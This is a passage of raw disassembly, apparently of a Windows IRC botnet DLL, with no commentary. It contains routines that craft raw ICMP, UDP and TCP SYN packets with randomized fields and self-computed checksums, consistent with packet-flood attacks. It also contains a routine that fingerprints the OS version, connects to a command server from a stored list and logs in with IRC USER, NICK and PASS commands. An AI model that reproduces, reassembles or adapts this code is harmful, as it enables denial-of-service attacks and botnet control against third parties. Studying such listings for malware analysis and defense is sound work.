call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+var_5A4]
push eax ; buf
mov ecx, [ebp+fd]
push ecx ; s
call ds:send ; send
loc_10006850: ; CODE XREF: sub_10005C3D+5A8j
; sub_10005C3D+5FDj ...
push 64h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
loc_10006863: ; CODE XREF: sub_10005C3D+290j
; sub_10005C3D:loc_10006093j ...
jmp loc_10005E71
; ---------------------------------------------------------------------------
loc_10006868: ; CODE XREF: sub_10005C3D+24Fj
jmp loc_10005E07
; ---------------------------------------------------------------------------
loc_1000686D: ; CODE XREF: sub_10005C3D+1D1j
push 1
mov eax, [ebp+var_188]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
sub_10005C3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006893 proc near ; DATA XREF: .data:1000E034o
push ebp
mov ebp, esp
call sub_100068A2
call sub_100068B2
pop ebp
retn
sub_10006893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100068A2 proc near ; CODE XREF: sub_10006893+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D10B
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_100068A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100068B2 proc near ; CODE XREF: sub_10006893+8p
push ebp
mov ebp, esp
push offset sub_100068C4 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_100068B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_100068C4()
sub_100068C4 proc near ; DATA XREF: sub_100068B2+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D10B
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_100068C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100068D4 proc near ; DATA XREF: .data:1000E038o
push ebp
mov ebp, esp
call sub_100068E3
call sub_100068F3
pop ebp
retn
sub_100068D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100068E3 proc near ; CODE XREF: sub_100068D4+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D10A
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_100068E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100068F3 proc near ; CODE XREF: sub_100068D4+8p
push ebp
mov ebp, esp
push offset sub_10006905 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_100068F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10006905()
sub_10006905 proc near ; DATA XREF: sub_100068F3+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D10A
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10006905 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006920 proc near ; DATA XREF: .data:1000E03Co
push ebp
mov ebp, esp
call sub_1000692F
call sub_1000693F
pop ebp
retn
sub_10006920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000692F proc near ; CODE XREF: sub_10006920+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D115
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000692F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000693F proc near ; CODE XREF: sub_10006920+8p
push ebp
mov ebp, esp
push offset sub_10006951 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000693F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10006951()
sub_10006951 proc near ; DATA XREF: sub_1000693F+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D115
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10006951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006961 proc near ; DATA XREF: .data:1000E040o
push ebp
mov ebp, esp
call sub_10006970
call sub_10006980
pop ebp
retn
sub_10006961 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006970 proc near ; CODE XREF: sub_10006961+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D114
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10006970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006980 proc near ; CODE XREF: sub_10006961+8p
push ebp
mov ebp, esp
push offset sub_10006992 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10006980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10006992()
sub_10006992 proc near ; DATA XREF: sub_10006980+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D114
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10006992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100069A2 proc near ; CODE XREF: sub_10006A3B+BCp
; sub_10006A3B+150p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], 0
mov eax, [ebp+arg_4]
mov [ebp+var_10], eax
mov word ptr [ebp+var_8], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
loc_100069C1: ; CODE XREF: sub_100069A2+47j
cmp [ebp+var_10], 1
jle short loc_100069EB
mov edx, [ebp+var_C]
xor eax, eax
mov ax, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 2
mov [ebp+var_C], edx
mov eax, [ebp+var_10]
sub eax, 2
mov [ebp+var_10], eax
jmp short loc_100069C1
; ---------------------------------------------------------------------------
loc_100069EB: ; CODE XREF: sub_100069A2+23j
cmp [ebp+var_10], 1
jnz short loc_10006A09
mov ecx, [ebp+var_C]
mov dl, [ecx]
mov byte ptr [ebp+var_8], dl
mov eax, [ebp+var_8]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
loc_10006A09: ; CODE XREF: sub_100069A2+4Dj
mov edx, [ebp+var_4]
sar edx, 10h
mov eax, [ebp+var_4]
and eax, 0FFFFh
add edx, eax
mov [ebp+var_4], edx
mov ecx, [ebp+var_4]
sar ecx, 10h
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
not eax
mov word ptr [ebp+var_8], ax
mov ax, word ptr [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_100069A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006A3B proc near ; CODE XREF: sub_1000B205+188p
Memory = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 208h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Memory], eax
push 200h ; Size
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax ; Val
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov dl, [ecx]
and dl, 0F0h
or dl, 5
mov eax, [ebp+arg_0]
mov [eax], dl
mov ecx, [ebp+arg_0]
mov dl, [ecx]
and dl, 0Fh
or dl, 40h
mov eax, [ebp+arg_0]
mov [eax], dl
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+1], 0
push 4 ; hostshort
call ds:htons ; htons
mov edx, [ebp+arg_0]
mov [edx+2], ax
call ds:rand ; rand
push eax ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+4], ax
mov edx, [ebp+arg_0]
mov word ptr [edx+6], 0
mov eax, [ebp+arg_0]
mov byte ptr [eax+8], 80h
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+9], 1
mov edx, [ebp+arg_0]
mov word ptr [edx+0Ah], 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov [eax+0Ch], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
mov [edx+10h], eax
push 14h
mov ecx, [ebp+arg_0]
push ecx
call sub_100069A2
add esp, 8
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+arg_0]
mov byte ptr [eax+14h], 8
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+15h], 0
call ds:rand ; rand
push eax ; hostshort
call ds:htons ; htons
mov edx, [ebp+arg_0]
mov [edx+18h], ax
mov eax, [ebp+arg_0]
mov word ptr [eax+16h], 0
call ds:rand ; rand
mov esi, eax
shl esi, 10h
call ds:rand ; rand
or esi, eax
push esi ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+1Ah], ax
push 8 ; Size
mov edx, [ebp+arg_0]
add edx, 14h
push edx ; Src
mov eax, [ebp+Memory]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 200h ; Size
mov ecx, [ebp+arg_0]
add ecx, 1Ch
push ecx ; Src
mov edx, [ebp+Memory]
add edx, 8
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 208h
mov eax, [ebp+Memory]
push eax
call sub_100069A2
add esp, 8
mov ecx, [ebp+arg_0]
mov [ecx+16h], ax
mov edx, [ebp+Memory]
push edx ; Memory
call ds:free ; free
add esp, 4
pop esi
mov esp, ebp
pop ebp
retn
sub_10006A3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10006BAC(int,int,int,u_short hostshort,__int16)
sub_10006BAC proc near ; CODE XREF: sub_1000B442+1D8p
Memory = dword ptr -10h
Src = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
hostshort = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push 214h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Memory], eax
push 200h ; Size
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax ; Val
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov dl, [ecx]
and dl, 0F0h
or dl, 5
mov eax, [ebp+arg_0]
mov [eax], dl
mov ecx, [ebp+arg_0]
mov dl, [ecx]
and dl, 0Fh
or dl, 40h
mov eax, [ebp+arg_0]
mov [eax], dl
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+1], 0
push 4 ; hostshort
call ds:htons ; htons
mov edx, [ebp+arg_0]
mov [edx+2], ax
call ds:rand ; rand
push eax ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+4], ax
mov edx, [ebp+arg_0]
mov word ptr [edx+6], 0
mov eax, [ebp+arg_0]
mov byte ptr [eax+8], 80h
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+9], 11h
mov edx, [ebp+arg_0]
mov word ptr [edx+0Ah], 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
mov [eax+0Ch], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
mov [edx+10h], eax
push 14h
mov ecx, [ebp+arg_0]
push ecx
call sub_100069A2
add esp, 8
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov ax, [ebp+hostshort]
push eax ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+14h], ax
mov dx, [ebp+arg_10]
push edx ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+16h], ax
push 208h ; hostshort
call ds:htons ; htons
mov edx, [ebp+arg_0]
mov [edx+18h], ax
mov eax, [ebp+arg_0]
mov word ptr [eax+1Ah], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
mov [ebp+Src], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov al, [edx+9]
mov [ebp+var_3], al
push 208h ; hostshort
call ds:htons ; htons
mov [ebp+var_2], ax
push 0Ch ; Size
lea ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+Memory]
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 8 ; Size
mov eax, [ebp+arg_0]
add eax, 14h
push eax ; Src
mov ecx, [ebp+Memory]
add ecx, 0Ch
push ecx ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 200h ; Size
mov edx, [ebp+arg_0]
add edx, 1Ch
push edx ; Src
mov eax, [ebp+Memory]
add eax, 14h
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 214h
mov ecx, [ebp+Memory]
push ecx
call sub_100069A2
add esp, 8
mov edx, [ebp+arg_0]
mov [edx+1Ah], ax
mov eax, [ebp+Memory]
push eax ; Memory
call ds:free ; free
add esp, 4
mov esp, ebp
pop ebp
retn
sub_10006BAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10006D53(int,int,int,u_short hostshort,__int16)
sub_10006D53 proc near ; CODE XREF: sub_10009E30+92p
; .text:1000B895p
Memory = dword ptr -10h
Src = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
hostshort = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push 20h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Memory], eax
mov eax, [ebp+arg_0]
mov cl, [eax]
and cl, 0F0h
or cl, 5
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
mov cl, [eax]
and cl, 0Fh
or cl, 40h
mov edx, [ebp+arg_0]
mov [edx], cl
mov eax, [ebp+arg_0]
mov byte ptr [eax+1], 0
push 4 ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+2], ax
call ds:rand ; rand
push eax ; hostshort
call ds:htons ; htons
mov edx, [ebp+arg_0]
mov [edx+4], ax
mov eax, [ebp+arg_0]
mov word ptr [eax+6], 0
mov ecx, [ebp+arg_0]
mov byte ptr [ecx+8], 80h
mov edx, [ebp+arg_0]
mov byte ptr [edx+9], 6
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov [ecx+0Ch], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov [eax+10h], ecx
push 14h
mov edx, [ebp+arg_0]
push edx
call sub_100069A2
add esp, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ah], ax
mov dx, [ebp+hostshort]
push edx ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+14h], ax
mov dx, [ebp+arg_10]
push edx ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+16h], ax
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+arg_0]
mov cl, [eax+20h]
and cl, 0F0h
mov edx, [ebp+arg_0]
mov [edx+20h], cl
mov eax, [ebp+arg_0]
mov cl, [eax+20h]
and cl, 0Fh
or cl, 50h
mov edx, [ebp+arg_0]
mov [edx+20h], cl
mov eax, [ebp+arg_0]
mov byte ptr [eax+21h], 2
push 4000h ; hostshort
call ds:htons ; htons
mov ecx, [ebp+arg_0]
mov [ecx+22h], ax
mov edx, [ebp+arg_0]
mov word ptr [edx+24h], 0
mov eax, [ebp+arg_0]
mov word ptr [eax+26h], 0
call ds:rand ; rand
mov esi, eax
shl esi, 10h
call ds:rand ; rand
or esi, eax
push esi ; hostshort
call ds:htons ; htons
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+18h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
mov [ebp+Src], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_8], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov cl, [eax+9]
mov [ebp+var_3], cl
push 14h ; hostshort
call ds:htons ; htons
mov [ebp+var_2], ax
push 0Ch ; Size
lea edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+Memory]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 14h ; Size
mov ecx, [ebp+arg_0]
add ecx, 14h
push ecx ; Src
mov edx, [ebp+Memory]
add edx, 0Ch
push edx ; Dst
call memcpy ; memcpy
add esp, 0Ch
push 20h
mov eax, [ebp+Memory]
push eax
call sub_100069A2
add esp, 8
mov ecx, [ebp+arg_0]
mov [ecx+24h], ax
mov edx, [ebp+Memory]
push edx ; Memory
call ds:free ; free
add esp, 4
pop esi
mov esp, ebp
pop ebp
retn
sub_10006D53 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F20 proc near ; DATA XREF: .data:1000E044o
push ebp
mov ebp, esp
call sub_10006F2F
call sub_10006F3F
pop ebp
retn
sub_10006F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F2F proc near ; CODE XREF: sub_10006F20+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D11D
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10006F2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F3F proc near ; CODE XREF: sub_10006F20+8p
push ebp
mov ebp, esp
push offset sub_10006F51 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10006F3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10006F51()
sub_10006F51 proc near ; DATA XREF: sub_10006F3F+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D11D
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10006F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F61 proc near ; DATA XREF: .data:1000E048o
push ebp
mov ebp, esp
call sub_10006F70
call sub_10006F80
pop ebp
retn
sub_10006F61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F70 proc near ; CODE XREF: sub_10006F61+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D11C
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10006F70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006F80 proc near ; CODE XREF: sub_10006F61+8p
push ebp
mov ebp, esp
push offset sub_10006F92 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10006F80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10006F92()
sub_10006F92 proc near ; DATA XREF: sub_10006F80+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D11C
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10006F92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10006FA2 proc near ; CODE XREF: sub_10001EBF+66p
; sub_100024A5+383p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push 0Ch ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+var_4], eax
push 8
push 6
call sub_10004608
add esp, 8
mov [ebp+var_C], eax
mov [ebp+var_8], 0
jmp short loc_10006FD7
; ---------------------------------------------------------------------------
loc_10006FCE: ; CODE XREF: sub_10006FA2+51j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_10006FD7: ; CODE XREF: sub_10006FA2+2Aj
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_C]
jge short loc_10006FF5
push 7Ah
push 61h
call sub_10004608
add esp, 8
mov edx, [ebp+var_4]
add edx, [ebp+var_8]
mov [edx], al
jmp short loc_10006FCE
; ---------------------------------------------------------------------------
loc_10006FF5: ; CODE XREF: sub_10006FA2+3Bj
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov byte ptr [eax], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_10006FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10007005 proc near ; CODE XREF: start:loc_100043ACp
; start:loc_10004408p
VersionInformation= _OSVERSIONINFOA ptr -0C8h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
Dest = byte ptr -1Ch
name = sockaddr ptr -10h
push ebp
mov ebp, esp
sub esp, 0C8h
mov eax, dword_10012118
mov [ebp+var_28], eax
mov ecx, dword_1001211C
mov [ebp+var_24], ecx
mov dword ptr [ebp+var_2C], offset dword_1002D124
mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h
lea edx, [ebp+VersionInformation]
push edx ; lpVersionInformation
call ds:GetVersionExA ; GetVersionExA
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10007084
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_10007084
cmp [ebp+VersionInformation.dwPlatformId], 1
jnz short loc_1000706F
mov dword ptr [ebp+var_2C], offset dword_10012120
loc_1000706F: ; CODE XREF: sub_10007005+61j
cmp [ebp+VersionInformation.dwPlatformId], 2
jnz short loc_1000707F
mov dword ptr [ebp+var_2C], offset dword_10012124
loc_1000707F: ; CODE XREF: sub_10007005+71j
jmp loc_10007112
; ---------------------------------------------------------------------------
loc_10007084: ; CODE XREF: sub_10007005+4Fj
; sub_10007005+58j
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_1000709F
cmp [ebp+VersionInformation.dwMinorVersion], 0Ah
jnz short loc_1000709F
mov dword ptr [ebp+var_2C], offset dword_10012128
jmp short loc_10007112
; ---------------------------------------------------------------------------
loc_1000709F: ; CODE XREF: sub_10007005+86j
; sub_10007005+8Fj
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_100070BA
cmp [ebp+VersionInformation.dwMinorVersion], 5Ah
jnz short loc_100070BA
mov dword ptr [ebp+var_2C], offset dword_1001212C
jmp short loc_10007112
; ---------------------------------------------------------------------------
loc_100070BA: ; CODE XREF: sub_10007005+A1j
; sub_10007005+AAj
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_100070D5
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_100070D5
mov dword ptr [ebp+var_2C], offset dword_10012130
jmp short loc_10007112
; ---------------------------------------------------------------------------
loc_100070D5: ; CODE XREF: sub_10007005+BCj
; sub_10007005+C5j
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_100070F0
cmp [ebp+VersionInformation.dwMinorVersion], 1
jnz short loc_100070F0
mov dword ptr [ebp+var_2C], offset dword_10012134
jmp short loc_10007112
; ---------------------------------------------------------------------------
loc_100070F0: ; CODE XREF: sub_10007005+D7j
; sub_10007005+E0j
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_1000710B
cmp [ebp+VersionInformation.dwMinorVersion], 2
jnz short loc_1000710B
mov dword ptr [ebp+var_2C], offset dword_10012138
jmp short loc_10007112
; ---------------------------------------------------------------------------
loc_1000710B: ; CODE XREF: sub_10007005+F2j
; sub_10007005+FBj
mov dword ptr [ebp+var_2C], offset dword_1001213C
loc_10007112: ; CODE XREF: sub_10007005:loc_1000707Fj
; sub_10007005+98j ...
mov eax, s
push eax ; s
call ds:closesocket ; closesocket
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov s, eax
cmp s, 0FFFFFFFFh
jnz short loc_1000713F
xor al, al
jmp loc_1000728F
; ---------------------------------------------------------------------------
loc_1000713F: ; CODE XREF: sub_10007005+131j
mov [ebp+var_30], 0
jmp short loc_10007151
; ---------------------------------------------------------------------------
loc_10007148: ; CODE XREF: sub_10007005+15Dj
mov ecx, [ebp+var_30]
add ecx, 1
mov [ebp+var_30], ecx
loc_10007151: ; CODE XREF: sub_10007005+141j
mov edx, [ebp+var_30]
shl edx, 7
movsx eax, byte_1002C8E8[edx]
test eax, eax
jz short loc_10007164
jmp short loc_10007148
; ---------------------------------------------------------------------------
loc_10007164: ; CODE XREF: sub_10007005+15Bj
mov ecx, [ebp+var_30]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
push edx
push 0
call sub_10004608
add esp, 8
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
shl eax, 7
add eax, offset byte_1002C8E8
push eax ; Src
call sub_10004BF7
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_100071B3
mov ecx, [ebp+var_20]
shl ecx, 7
add ecx, offset byte_1002C8E8
push ecx ; cp
call ds:inet_addr ; inet_addr
mov [ebp+var_34], eax
jmp short loc_100071CB
; ---------------------------------------------------------------------------
loc_100071B3: ; CODE XREF: sub_10007005+194j
mov edx, [ebp+var_20]
shl edx, 7
add edx, offset byte_1002C8E8
push edx ; name
call sub_10004763
add esp, 4
mov [ebp+var_34], eax
loc_100071CB: ; CODE XREF: sub_10007005+1ACj
cmp [ebp+var_34], 0
jnz short loc_100071D8
xor al, al
jmp loc_1000728F
; ---------------------------------------------------------------------------
loc_100071D8: ; CODE XREF: sub_10007005+1CAj
mov [ebp+name.sa_family], 2
push offset Str ; Str
call ds:atoi ; atoi
add esp, 4
push eax ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
mov eax, [ebp+var_34]
mov dword ptr [ebp+name.sa_data+2], eax
push 8 ; Size
push 0 ; Val
lea ecx, [ebp+name.sa_data+6]
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea edx, [ebp+name]
push edx ; name
mov eax, s
push eax ; s
call ds:connect ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_10007228
xor al, al
jmp short loc_1000728F
; ---------------------------------------------------------------------------
loc_10007228: ; CODE XREF: sub_10007005+21Dj
push 0Ch ; Count
call sub_10006FA2
push eax ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea edx, [ebp+Dest]
push edx
mov eax, dword ptr [ebp+var_2C]
push eax ; char
push offset aUserSS ; "USER %s \"\" \"\" :%s"
call sub_10007293
add esp, 0Ch
lea ecx, [ebp+var_28]
push ecx
lea edx, [ebp+Dest]
push edx
mov eax, dword ptr [ebp+var_2C]
push eax ; char
push offset aNickSSS ; "NICK |%s%s%s"
call sub_10007293
add esp, 10h
movsx ecx, byte_10012C44
test ecx, ecx
jz short loc_10007288
push offset byte_10012C44 ; char
push offset aPassS ; "PASS %s"
call sub_10007293
add esp, 8
loc_10007288: ; CODE XREF: sub_10007005+26Fj
call sub_10004C83
mov al, 1
loc_1000728F: ; CODE XREF: sub_10007005+135j
; sub_10007005+1CEj ...
mov esp, ebp
pop ebp
retn
sub_10007005 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10007293(char *Format,char)
sub_10007293 proc near ; CODE XREF: sub_10005380+1A8p
; sub_10007005+245p ...
ArgList = dword ptr -204h
buf = byte ptr -200h
Format = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 204h
lea eax, [ebp+arg_4]
mov [ebp+ArgList], eax
mov ecx, [ebp+ArgList]
push ecx ; ArgList
mov edx, [ebp+Format]
push edx ; Format
push 1FEh ; MaxCount
lea eax, [ebp+buf]
push eax ; DstBuf
call ds:_vsnprintf ; _vsnprintf
add esp, 10h
push offset asc_1001216C ; "\r\n"
lea ecx, [ebp+buf]
push ecx ; Dest
call strcat ; strcat
add esp, 8
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, s
push ecx ; s
call ds:send ; send
mov esp, ebp
pop ebp
retn
sub_10007293 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10007303(int,char *Format,char)
sub_10007303 proc near ; CODE XREF: sub_100024A5+362p
; sub_100024A5+7C4p ...
ArgList = dword ptr -404h
buf = byte ptr -400h
DstBuf = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 404h
lea eax, [ebp+arg_8]
mov [ebp+ArgList], eax
mov ecx, [ebp+ArgList]
push ecx ; ArgList
mov edx, [ebp+Format]
push edx ; Format
push 200h ; MaxCount
lea eax, [ebp+DstBuf]
